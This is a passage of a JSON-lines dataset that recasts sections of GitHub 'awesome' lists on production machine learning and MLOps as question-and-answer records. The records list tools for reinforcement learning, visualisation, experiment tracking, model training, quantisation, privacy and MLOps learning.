![](https://img.shields.io/github/stars/Replicable-MARL/MARLlib.svg?cacheSeconds=86400) - MARLlib is a comprehensive Multi-Agent Reinforcement Learning algorithm library based on RLlib. It provides MARL research community with a unified platform for building, training, and evaluating MARL algorithms.\n* [Mava](https://github.com/instadeepai/Mava) ![](https://img.shields.io/github/stars/instadeepai/Mava.svg?cacheSeconds=86400) - Mava is a framework for distributed multi-agent reinforcement learning in JAX.\n* [Melting Pot](https://github.com/google-deepmind/meltingpot) ![](https://img.shields.io/github/stars/google-deepmind/meltingpot.svg?cacheSeconds=86400) - Melting Pot is a suite of test scenarios for multi-agent reinforcement learning.\n* [MetaDrive](https://github.com/metadriverse/metadrive) ![](https://img.shields.io/github/stars/metadriverse/metadrive.svg?cacheSeconds=86400) - MetaDrive is a driving simulator that composes diverse driving scenarios for generalizable RL.\n* [Minigrid](https://github.com/Farama-Foundation/Minigrid) ![](https://img.shields.io/github/stars/Farama-Foundation/Minigrid.svg?cacheSeconds=86400) - The Minigrid library contains a collection of discrete grid-world environments to conduct research on Reinforcement Learning. The environments follow the Gymnasium standard API and they are designed to be lightweight, fast, and easily customizable.\n* [MiniWorld](https://github.com/Farama-Foundation/Mini", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629888"}
{"id": "gh_a4eda8528625", "question": "How to: Industry Strength Robotics", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [AI2-THOR](https://github.com/allenai/ai2thor) ![](https://img.shields.io/github/stars/allenai/ai2thor.svg?cacheSeconds=86400) - AI2-THOR is a near photo-realistic interactable framework for AI agents.\n* [Habitat-Sim](https://github.com/facebookresearch/habitat-sim) ![](https://img.shields.io/github/stars/facebookresearch/habitat-sim.svg?cacheSeconds=86400) - Habitat-Sim is a flexible, high-performance 3D simulator for Embodied AI research.\n* [IsaacLab](https://github.com/isaac-sim/IsaacLab) ![](https://img.shields.io/github/stars/isaac-sim/IsaacLab.svg?cacheSeconds=86400) - IsaacLab is a unified and modular framework for robot learning that leverages NVIDIA Isaac Sim.\n* [robosuite](https://github.com/ARISE-Initiative/robosuite) ![](https://img.shields.io/github/stars/ARISE-Initiative/robosuite.svg?cacheSeconds=86400) - robosuite is a simulation framework powered by the MuJoCo physics engine for robot learning.\n* [RoboVerse](https://github.com/RoboVerseOrg/RoboVerse) ![](https://img.shields.io/github/stars/RoboVerseOrg/RoboVerse.svg?cacheSeconds=86400) - RoboVerse is a comprehensive robotics simulation platform with diverse environments.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629896"}
{"id": "gh_ffd9ab0f098a", "question": "How to: Industry Strength Visualisation", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Apache ECharts](https://github.com/apache/echarts) ![](https://img.shields.io/github/stars/apache/echarts.svg?cacheSeconds=86400) - Apache ECharts is a powerful, interactive charting and data visualization library for browser.\n* [Apache Superset](https://github.com/apache/superset) ![](https://img.shields.io/github/stars/apache/superset.svg?cacheSeconds=86400) - A modern, enterprise-ready business intelligence web application.\n* [Bokeh](https://github.com/bokeh/bokeh) ![](https://img.shields.io/github/stars/bokeh/bokeh.svg?cacheSeconds=86400) - Bokeh is an interactive visualization library for Python that enables beautiful and meaningful visual presentation of data in modern web browsers.\n* [Data Formulator](https://github.com/microsoft/data-formulator) ![](https://img.shields.io/github/stars/microsoft/data-formulator.svg?cacheSeconds=86400) - Transform data and create rich visualizations iteratively with AI.\n* [ggplot2](https://github.com/tidyverse/ggplot2) ![](https://img.shields.io/github/stars/tidyverse/ggplot2.svg?cacheSeconds=86400) - An implementation of the grammar of graphics for R.\n* [gradio](https://github.com/gradio-app/gradio) ![](https://img.shields.io/github/stars/gradio-app/gradio.svg?cacheSeconds=86400) - Quickly create and share demos of models - by only writing Python. Debug models interactively in your browser, get feedback from collaborators, and generate public links without deploying anything.\n* [Kangas](https://github.com/comet-ml/kangas) ![](https://img.shields.io/github/stars/comet-ml/kangas.svg?cacheSeconds=86400) - Kangas is a tool for exploring, analyzing, and visualizing large-scale multimedia data. It provides a straightforward Python API for logging large tables of data, along with an intuitive visual interface for performing complex queries against your dataset.\n* [matplotlib](https://github.com/matplotlib/matplotlib) ![](https://img.shields.io/github/stars/matplotlib/matplotlib.svg?cacheSeconds=86400) - A Python 2D plotting library which produces publication-quality figures in a variety of hardcopy formats and interactive environments across platforms.\n* [Netron](https://github.com/lutzroeder/netron) ![](https://img.shields.io/github/stars/lutzroeder/netron.svg?cacheSeconds=86400) - Netron is a viewer for neural network, deep learning and machine learning models.\n* [Perspective](https://github.com/finos/perspective) ![](https://img.shields.io/github/stars/finos/perspective.svg?cacheSeconds=86400) Streaming pivot visualization via WebAssembly.\n* [Plotly](https://github.com/plotly/plotly.py) ![](https://img.shields.io/github/stars/plotly/plotly.py.svg?cacheSeconds=86400) - An interactive, open source, and browser-based graphing library for Python.\n* [Redash](https://github.com/getredash/redash) ![](https://img.shields.io/github/stars/getredash/redash.svg?cacheSeconds=86400) - Redash is anopen source visualisation framework that is built to allow easy access to big datasets leveraging multiple backends.\n* [Rerun](https://github.com/rerun-io/rerun) ![](https://img.shields.io/github/stars/rerun-io/rerun.svg?cacheSeconds=86400) - Rerun is an open-source SDK for logging, storing, querying, and visualizing multimodal data, designed for robotics, computer vision, and spatial AI.\n* [seaborn](https://github.com/mwaskom/seaborn) ![](https://img.shields.io/github/stars/mwaskom/seaborn.svg?cacheSeconds=86400) - Seaborn is a Python visualization library based on matplotlib. It provides a high-level interface for drawing attractive statistical graphics.\n* [Spotlight](https://github.com/Renumics/spotlight) ![](https://img.shields.io/github/stars/Renumics/spotlight.svg?cacheSeconds=86400) - Spotlight helps you to identify critical data segments and model failure modes. It enables you to build and maintain reliable machine learning models by curating high-quality datasets.\n* [Streamlit](https://github.com/streamlit/streamlit) ![](https://img.shields.io/github/stars/streamlit/streamlit.svg?cacheSeconds=86400) - Streamlit lets you create apps for your machine learning projects with deceptively simple Python scripts. It supports hot-reloading, so your app updates live as you edit and save your file.\n* [tensorboardX](https://github.com/lanpa/tensorboardX) ![](https://img.shields.io/github/stars/lanpa/tensorboardX.svg?cacheSeconds=86400) - Write TensorBoard events with simple function call.\n* [TensorBoard](https://github.com/tensorflow/tensorboard) ![](https://img.shields.io/github/stars/tensorflow/tensorboard.svg?cacheSeconds=86400) - TensorBoard is a visualization toolkit for machine learning experimentation that makes it easy to host, track, and share ML experiments.\n* [Transformer Explainer](https://github.com/poloclub/transformer-explainer) ![](https://img.shields.io/github/stars/poloclub/transformer-explainer.svg?cacheSeconds=86400) - Transformer Explainer is an interactive visualization tool designed to help anyone learn how Transformer-based models like GPT work.\n* [Vega-Altair](https:/", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629910"}
{"id": "gh_07788d17182e", "question": "How to: Metadata Management", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Amundsen](https://github.com/amundsen-io/amundsen) ![](https://img.shields.io/github/stars/amundsen-io/amundsen.svg?cacheSeconds=86400) - Amundsen is a metadata driven application for improving the productivity of data analysts, data scientists and engineers when interacting with data.\n* [Apache Atlas](https://github.com/apache/atlas) ![](https://img.shields.io/github/stars/apache/atlas.svg?cacheSeconds=86400) - Apache Atlas framework is an extensible set of core foundational governance services – enabling enterprises to effectively and efficiently meet their compliance requirements within Hadoop and allows integration with the whole enterprise data ecosystem.\n* [DataHub](https://github.com/datahub-project/datahub) ![](https://img.shields.io/github/stars/datahub-project/datahub.svg?cacheSeconds=86400) - DataHub is LinkedIn's generalized metadata search & discovery tool.\n* [Marquez](https://github.com/MarquezProject/marquez) ![](https://img.shields.io/github/stars/MarquezProject/marquez.svg?cacheSeconds=86400) - Marquez is an open source metadata service for the collection, aggregation, and visualization of a data ecosystem's metadata.\n* [Metacat](https://github.com/Netflix/metacat) ![](https://img.shields.io/github/stars/Netflix/metacat.svg?cacheSeconds=86400) - Metacat is a unified metadata exploration API service. Metacat focuses on solving these problems: 1) federated views of metadata systems; 2) arbitrary metadata storage about data sets; 3) metadata discovery.\n* [ML Metadata](https://github.com/google/ml-metadata) ![](https://img.shields.io/github/stars/google/ml-metadata.svg?cacheSeconds=86400) - a library for recording and retrieving metadata associated with ML developer and data scientist workflows.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629920"}
{"id": "gh_ede03da2d3bf", "question": "How to: Model, Data and Experiment Management", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Aim](https://github.com/aimhubio/aim) ![](https://img.shields.io/github/stars/aimhubio/aim.svg?cacheSeconds=86400) - A super-easy way to record, search and compare AI experiments.\n* [ClearML](https://github.com/clearml/clearml) ![](https://img.shields.io/github/stars/clearml/clearml.svg?cacheSeconds=86400) - Auto-Magical Experiment Manager & Version Control for AI (previously Trains).\n* [DataHub](https://github.com/datahub-project/datahub) ![](https://img.shields.io/github/stars/datahub-project/datahub.svg?cacheSeconds=86400) - DataHub is an open-source data catalog for the modern data stack.\n* [Dolt](https://github.com/dolthub/dolt) ![](https://img.shields.io/github/stars/dolthub/dolt.svg?cacheSeconds=86400) - Dolt is a SQL database that you can fork, clone, branch, merge, push and pull just like a git repository.\n* [DVC](https://github.com/iterative/dvc) ![](https://img.shields.io/github/stars/iterative/dvc.svg?cacheSeconds=86400) - DVC (Data Version Control) is a git fork that allows for version management of models.\n* [HuggingFace Model Downloader](https://github.com/bodaay/HuggingFaceModelDownloader) ![](https://img.shields.io/github/stars/bodaay/HuggingFaceModelDownloader.svg?cacheSeconds=86400) - HuggingFace Model Downloader is a utility tool for downloading models and datasets from the HuggingFace website. It offers multithreaded downloading for LFS files and ensures the integrity of downloaded models with SHA256 checksum verification.\n* [Keepsake](https://github.com/replicate/keepsake) ![](https://img.shields.io/github/stars/replicate/keepsake.svg?cacheSeconds=86400) - Version control for machine learning.\n* [KitOps](https://github.com/jozu-ai/kitops) ![](https://img.shields.io/github/stars/jozu-ai/kitops.svg?cacheSeconds=86400) - KitOps is an open and standards-based packaging and versioning system for AI/ML projects that works with all the AI/ML, development, and DevOps tools you are already using.\n* [lakeFS](https://github.com/treeverse/lakeFS) ![](https://img.shields.io/github/stars/treeverse/lakeFS.svg?cacheSeconds=86400) - Repeatable, atomic and versioned data lake on top of object storage.\n* [MLflow](https://github.com/mlflow/mlflow) ![](https://img.shields.io/github/stars/mlflow/mlflow.svg?cacheSeconds=86400) - Open source platform to manage the ML lifecycle, including experimentation, reproducibility and deployment.\n* [Neptune](https://github.com/neptune-ai/neptune-client) ![](https://img.shields.io/github/stars/neptune-ai/neptune-client.svg?cacheSeconds=86400) - Neptune is a scalable experiment tracker for teams that train foundation models.\n* [Polyaxon](https://github.com/polyaxon/polyaxon) ![](https://img.shields.io/github/stars/polyaxon/polyaxon.svg?cacheSeconds=86400) - A platform for reproducible and scalable machine learning and deep learning on kubernetes - [(Video)](https://www.youtube.com/watch?v=Iexwrka_hys).\n* [Quilt](https://github.com/quiltdata/quilt) ![](https://img.shields.io/github/stars/quiltdata/quilt.svg?cacheSeconds=86400) - Versioning, reproducibility and deployment of data and models.\n* [Sacred](https://github.com/IDSIA/sacred) ![](https://img.shields.io/github/stars/IDSIA/sacred.svg?cacheSeconds=86400) - Tool to help you configure, organize, log and reproduce machine learning experiments.\n* [TerminusDB](https://github.com/terminusdb/terminusdb) ![](https://img.shields.io/github/stars/terminusdb/terminusdb.svg?cacheSeconds=86400) - A graph database management system that stores data like git.\n* [Weights & Biases](https://github.com/wandb/wandb) ![](https://img.shields.io/github/stars/wandb/wandb.svg?cacheSeconds=86400) - Weights & Biase is a machine learning experiment tracking, dataset versioning, hyperparameter search, visualization, and collaboration.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629931"}
{"id": "gh_1fba45a3077c", "question": "How to: Model Training and Orchestration", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [AutoTrain Advanced](https://github.com/huggingface/autotrain-advanced) ![](https://img.shields.io/github/stars/huggingface/autotrain-advanced.svg?cacheSeconds=86400) - AutoTrain Advanced is a no-code solution that allows you to train machine learning models in just a few clicks.\n* [Avalanche](https://github.com/ContinualAI/avalanche) ![](https://img.shields.io/github/stars/ContinualAI/avalanche.svg?cacheSeconds=86400) - Avalanche is an end-to-end Continual Learning library to provide a shared and collaborative open-source (MIT licensed) codebase for fast prototyping, training and reproducible evaluation of continual learning algorithms.\n* [Axolotl](https://github.com/axolotl-ai-cloud/axolotl) ![](https://img.shields.io/github/stars/axolotl-ai-cloud/axolotl.svg?cacheSeconds=86400) - Axolotl is a tool designed to streamline the fine-tuning of various AI models, offering support for multiple configurations and architectures.\n* [BindsNET](https://github.com/BindsNET/bindsnet) ![](https://img.shields.io/github/stars/BindsNET/bindsnet.svg?cacheSeconds=86400) - BindsNET is a spiking neural network simulation library geared towards the development of biologically inspired algorithms for machine learning.\n* [CML](https://github.com/iterative/cml) ![](https://img.shields.io/github/stars/iterative/cml.svg?cacheSeconds=86400) - Continuous Machine Learning (CML) is an open-source library for implementing continuous integration & delivery (CI/CD) in machine learning projects.\n* [CoreNet](https://github.com/apple/corenet) ![](https://img.shields.io/github/stars/apple/corenet.svg?cacheSeconds=86400) - CoreNet is a deep neural network toolkit that allows researchers and engineers to train standard and novel small and large-scale models for variety of tasks, including foundation models (e.g., CLIP and LLM), object classification, object detection, and semantic segmentation.\n* [Determined](https://github.com/determined-ai/determined) ![](https://img.shields.io/github/stars/determined-ai/determined.svg?cacheSeconds=86400) - Deep learning training platform with integrated support for distributed training, hyperparameter tuning, and model management (supports Tensorflow and Pytorch).\n* [dstack](https://github.com/dstackai/dstack) ![](https://img.shields.io/github/stars/dstackai/dstack.svg?cacheSeconds=86400) - dstack is an open-source container orchestrator that simplifies workload orchestration and drives GPU utilization for ML teams.\n* [envd](https://github.com/tensorchord/envd) ![](https://img.shields.io/github/stars/tensorchord/envd.svg?cacheSeconds=86400) - Machine learning development environment for data science and AI/ML engineering teams.\n* [Fairseq](https://github.com/facebookresearch/fairseq) ![](https://img.shields.io/github/stars/facebookresearch/fairseq.svg?cacheSeconds=86400) - Fairseq(-py) is a sequence modeling toolkit that allows researchers and developers to train custom models for translation, summarization, language modeling and other text generation tasks.\n* [Fire-Flyer File System](https://github.com/deepseek-ai/3FS) ![](https://img.shields.io/github/stars/deepseek-ai/3FS.svg?cacheSeconds=86400) - The Fire-Flyer File System (3FS) is a high-performance distributed file system designed to address the challenges of AI training and inference workloads. It leverages modern SSDs and RDMA networks to provide a shared storage layer that simplifies development of distributed applications.\n* [H2O-3](https://github.com/h2oai/h2o-3) ![](https://img.shields.io/github/stars/h2oai/h2o-3.svg?cacheSeconds=86400) - Fast scalable Machine Learning platform for smarter applications: Deep Learning, Gradient Boosting & XGBoost, Random Forest, Generalized Linear Modeling (Logistic Regression, Elastic Net), K-Means, PCA, Stacked Ensembles, Automatic Machine Learning (AutoML), etc..\n* [Hopsworks](https://github.com/logicalclocks/hopsworks) ![](https://img.shields.io/github/stars/logicalclocks/hopsworks.svg?cacheSeconds=86400) - Hopsworks is a data-intensive platform for the design and operation of machine learning pipelines.\n* [Ignite](https://github.com/pytorch/ignite) ![](https://img.shields.io/github/stars/pytorch/ignite.svg?cacheSeconds=86400) - Ignite is a high-level library to help with training and evaluating neural networks in PyTorch flexibly and transparently.\n* [Kubeflow](https://github.com/kubeflow/kubeflow) ![](https://img.shields.io/github/stars/kubeflow/kubeflow.svg?cacheSeconds=86400) - A cloud-native platform for machine learning based on Google’s internal machine learning pipelines.\n* [Ludwig](https://github.com/ludwig-ai/ludwig) ![](https://img.shields.io/github/stars/ludwig-ai/ludwig.svg?cacheSeconds=86400) - Ludwig is a low-code framework for building custom AI models like LLMs and other deep neural networks.\n* [MFTCoder](https://github.com/codefuse-ai/MFTCoder) ![](https://img.shields.io/github/stars/codefuse-ai/MFTCoder.svg?cacheSeconds=86400) - MFTCoder is an open-source project of CodeFuse for accurate a", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629956"}
{"id": "gh_d621bb6431f5", "question": "How to: Model Storage Optimisation", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [AutoAWQ](https://github.com/casper-hansen/AutoAWQ) ![](https://img.shields.io/github/stars/casper-hansen/AutoAWQ.svg?cacheSeconds=86400) - AutoAWQ is an easy-to-use package for 4-bit quantized models.\n* [AutoGPTQ](https://github.com/AutoGPTQ/AutoGPTQ) ![](https://img.shields.io/github/stars/AutoGPTQ/AutoGPTQ.svg?cacheSeconds=86400) - An easy-to-use LLMs quantization package with user-friendly apis, based on GPTQ algorithm.\n* [AWQ](https://github.com/mit-han-lab/llm-awq) ![](https://img.shields.io/github/stars/mit-han-lab/llm-awq.svg?cacheSeconds=86400) - Activation-aware Weight Quantization for LLM Compression and Acceleration.\n* [GGML](https://github.com/ggml-org/ggml) ![](https://img.shields.io/github/stars/ggml-org/ggml.svg?cacheSeconds=86400) - GGML is a high-performance, tensor library for machine learning that enables efficient inference on CPUs, particularly optimized for large language models.\n* [neural-compressor](https://github.com/intel/neural-compressor) ![](https://img.shields.io/github/stars/intel/neural-compressor.svg?cacheSeconds=86400) - Intel® Neural Compressor aims to provide popular model compression techniques such as quantization, pruning (sparsity), distillation, and neural architecture search on mainstream frameworks.\n* [NNEF](https://www.khronos.org/nnef) - Neural Network Exchange Format (NNEF) is an open standard for representing neural network models to enable interoperability and portability across different machine learning frameworks and platforms.\n* [ONNX](https://github.com/onnx/onnx) ![](https://img.shields.io/github/stars/onnx/onnx.svg?cacheSeconds=86400) - ONNX (Open Neural Network Exchange) is an open-source format designed to facilitate interoperability and portability of machine learning models across different frameworks and platforms.\n* [PFA](https://dmg.org/pfa) - PFA (Portable Format for Analytics) format is a standard for representing and exchanging predictive models and analytics workflows in a portable, JSON-based format.\n* [PMML](https://dmg.org/pmml) - PMML (Predictive Model Markup Language) is an XML-based standard for representing and sharing predictive models between different applications.\n* [Quanto](https://github.com/huggingface/optimum-quanto) ![](https://img.shields.io/github/stars/huggingface/optimum-quanto.svg?cacheSeconds=86400) - Quanto aims to simplify quantizing deep learning models.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629967"}
{"id": "gh_d69f44df8d53", "question": "How to: Privacy and Safety", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [AI Gateway](https://github.com/portkey-ai/gateway) ![](https://img.shields.io/github/stars/portkey-ai/gateway.svg?cacheSeconds=86400) - The AI Gateway is a blazing fast AI Gateway with integrated guardrails.\n* [ART](https://github.com/Trusted-AI/adversarial-robustness-toolbox) ![](https://img.shields.io/github/stars/Trusted-AI/adversarial-robustness-toolbox.svg?cacheSeconds=86400) - ART (Adversarial Robustness Toolbox) provides tools that enable developers and researchers to defend and evaluate Machine Learning models and applications against the adversarial threats of Evasion, Poisoning, Extraction, and Inference.\n* [CipherChat](https://github.com/RobustNLP/CipherChat) ![](https://img.shields.io/github/stars/RobustNLP/CipherChat.svg?cacheSeconds=86400) - CipherChat is a framework to evaluate the generalization capability of safety alignment for LLMs\n* [DeepTeam](https://github.com/confident-ai/deepteam) ![](https://img.shields.io/github/stars/confident-ai/deepteam.svg?cacheSeconds=86400) - DeepTeam is a simple-to-use, open-source LLM red teaming framework, for penetration testing and safe guarding large-language model systems.\n* [FATE](https://github.com/FederatedAI/FATE) ![](https://img.shields.io/github/stars/FederatedAI/FATE.svg?cacheSeconds=86400) - FATE (Federated AI Technology Enabler) is the world's first industrial grade federated learning open source framework to enable enterprises and institutions to collaborate on data while protecting data security and privacy.\n* [FedML](https://github.com/FedML-AI/FedML) ![](https://img.shields.io/github/stars/FedML-AI/FedML.svg?cacheSeconds=86400) - FedML provides a research and production integrated edge-cloud platform for Federated/Distributed Machine Learning at anywhere at any scale.\n* [Flower](https://github.com/adap/flower) ![](https://img.shields.io/github/stars/adap/flower.svg?cacheSeconds=86400) - Flower is a Federated Learning Framework with a unified approach. It enables the federation of any ML workload, with any ML framework, and any programming language.\n* [Google's Differential Privacy](https://github.com/google/differential-privacy) ![](https://img.shields.io/github/stars/google/differential-privacy.svg?cacheSeconds=86400) - This is a C++ library of ε-differentially private algorithms, which can be used to produce aggregate statistics over numeric data sets containing private or sensitive information.\n* [Guardrails](https://github.com/guardrails-ai/guardrails) ![](https://img.shields.io/github/stars/guardrails-ai/guardrails.svg?cacheSeconds=86400) - Guardrails is a package that lets a user add structure, type and quality guarantees to the outputs of large language models.\n* [NeMo Guardrails](https://github.com/NVIDIA/NeMo-Guardrails) ![](https://img.shields.io/github/stars/NVIDIA/NeMo-Guardrails.svg?cacheSeconds=86400) - NeMo Guardrails is an open-source toolkit for easily adding programmable guardrails to LLM-based conversational systems.\n* [Opacus](https://github.com/meta-pytorch/opacus)  ![](https://img.shields.io/github/stars/meta-pytorch/opacus.svg?cacheSeconds=86400) - Opacus is a library that enables training PyTorch models with differential privacy. It supports training with minimal code changes required on the client, has little impact on training performance, and allows the client to online track the privacy budget expended at any given moment.\n* [OpenFL](https://github.com/securefederatedai/openfl)  ![](https://img.shields.io/github/stars/securefederatedai/openfl.svg?cacheSeconds=86400) - OpenFL is a Python framework for Federated Learning. OpenFL is designed to be a flexible, extensible and easily learnable tool for data scientists. OpenFL is developed by Intel Internet of Things Group (IOTG) and Intel Labs.\n* [PySyft](https://github.com/OpenMined/PySyft) ![](https://img.shields.io/github/stars/OpenMined/PySyft.svg?cacheSeconds=86400) - A Python library for secure, private Deep Learning. PySyft decouples private data from model training, using Multi-Party (MPC) within PyTorch.\n* [Tensorflow Privacy](https://github.com/tensorflow/privacy) ![](https://img.shields.io/github/stars/tensorflow/privacy.svg?cacheSeconds=86400) - A Python library that includes implementations of TensorFlow optimizers for training machine learning models with differential privacy.\n* [TF Encrypted](https://github.com/tf-encrypted/tf-encrypted) ![](https://img.shields.io/github/stars/tf-encrypted/tf-encrypted.svg?cacheSeconds=86400) - A Framework for Confidential Machine Learning on Encrypted Data in TensorFlow.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629984"}
{"id": "gh_3ca3888d1e47", "question": "How to: Other Awesome Lists", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Awesome AI Regulation](https://github.com/EthicalML/awesome-artificial-intelligence-regulation) - Covers governance, compliance, and regulatory frameworks essential for responsible ML system deployment across different jurisdictions.\n* [Awesome Production GenAI](https://github.com/EthicalML/awesome-production-genai) - Focuses specifically on generative AI deployment, including LLM operations, prompt engineering, and GenAI-specific monitoring and safety tools.\n* [Awesome RAG Production](https://github.com/Yigtwxx/Awesome-RAG-Production) - Curated list of production-grade tools and best practices for building scalable RAG systems.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629991"}
{"id": "gh_abb02626ebbd", "question": "How to: Table of Contents", "question_body": "About visenger/awesome-mlops", "answer": "|\n|\n|\n| -------------------------------- | -------------------------------- |\n| [MLOps Core](#core-mlops) | [MLOps Communities](#mlops-communities) |\n| [MLOps Books](#mlops-books) | [MLOps Articles](#mlops-articles) |\n| [MLOps Workflow Management](#wfl-management)| [MLOps: Feature Stores](#feature-stores) | \n|[MLOps: Data Engineering (DataOps)](#dataops) | [MLOps: Model Deployment and Serving](#deployment) |\n| [MLOps: Testing, Monitoring and Maintenance](#testing-monintoring)| [MLOps: Infrastructure](#mlops-infra)| \n|[MLOps Papers](#mlops-papers) | [Talks About MLOps](#talks-about-mlops) | \n| [Existing ML Systems](#existing-ml-systems) | [Machine Learning](#machine-learning)|\n| [Software Engineering](#software-engineering) | [Product Management for ML/AI](#product-management-for-mlai) | \n| [The Economics of ML/AI](#the-economics-of-mlai) | [Model Governance, Ethics, Responsible AI](#ml-governance) | \n| [MLOps: People & Processes](#teams)|[Newsletters About MLOps, Machine Learning, Data Science and Co.](#newsletters)|", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 13536, "answer_score": 10, "has_code": true, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684711"}
{"id": "gh_1f783fd34224", "question": "How to: MLOps Core", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [Machine Learning Operations: You Design It, You Train It, You Run It!](https://ml-ops.org/)\n1. [MLOps SIG Specification](https://github.com/tdcox/mlops-roadmap/blob/master/MLOpsRoadmap2020.md)\n1. [ML in Production](http://mlinproduction.com/)\n1. [Awesome production machine learning: State of MLOps Tools and Frameworks](https://github.com/EthicalML/awesome-production-machine-learning)\n1. [Udemy “Deployment of ML Models”](https://www.udemy.com/course/deployment-of-machine-learning-models/)\n1. [Full Stack Deep Learning](https://course.fullstackdeeplearning.com/)\n1. [Engineering best practices for Machine Learning](https://se-ml.github.io/practices/)\n1. [:rocket: Putting ML in Production](https://madewithml.com/courses/putting-ml-in-production/)\n1. [Stanford MLSys Seminar Series](https://mlsys.stanford.edu/)\n1. [IBM ML Operationalization Starter Kit](https://github.com/ibm-cloud-architecture/refarch-ml-ops)\n1. [Productize ML. A self-study guide for Developers and Product Managers building Machine Learning products.](https://productizeml.gitbook.io/productize-ml/)\n1. [MLOps (Machine Learning Operations) Fundamentals on GCP](https://www.coursera.org/learn/mlops-fundamentals)\n1. [ML full Stack preparation](https://www.confetti.ai/)\n1. [MLOps Guide: Theory and Implementation](https://mlops-guide.github.io/)\n1. [Practitioners guide to MLOps: A framework for continuous delivery and automation of machine learning.](https://services.google.com/fh/files/misc/practitioners_guide_to_mlops_whitepaper.pdf)\n1. [MLOps maturity assessment](https://github.com/marvelousmlops/mlops_maturity_assessment)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684733"}
{"id": "gh_dc0494035ff4", "question": "How to: MLOps Communities", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [MLOps.community](https://mlops.community/)\n1. [CDF Special Interest Group - MLOps](https://github.com/cdfoundation/sig-mlops)\n1. [RsqrdAI - Robust and Responsible AI](https://www.rsqrdai.org)\n1. [DataTalks.Club](https://datatalks.club/)\n1. [Synthetic Data Community](https://syntheticdata.community/)\n1. [MLOps World Community](https://www.mlopsworld.com)\n1. [Marvelous MLOps](https://www.linkedin.com/company/marvelous-mlops)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684741"}
{"id": "gh_1eb313ecf526", "question": "How to: MLOps Courses", "question_body": "About visenger/awesome-mlops", "answer": "1. [MLOps Zoomcamp (free)](https://github.com/DataTalksClub/mlops-zoomcamp)\n1. [Coursera's Machine Learning Engineering for Production (MLOps) Specialization](https://www.coursera.org/specializations/machine-learning-engineering-for-production-mlops)\n1. [Udacity Machine Learning DevOps Engineer](https://www.udacity.com/course/machine-learning-dev-ops-engineer-nanodegree--nd0821)\n1. [Made with ML](https://madewithml.com/#course)\n1. [Udacity LLMOps: Building Real-World Applications With Large Language Models](https://www.udacity.com/course/building-real-world-applications-with-large-language-models--cd13455)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684748"}
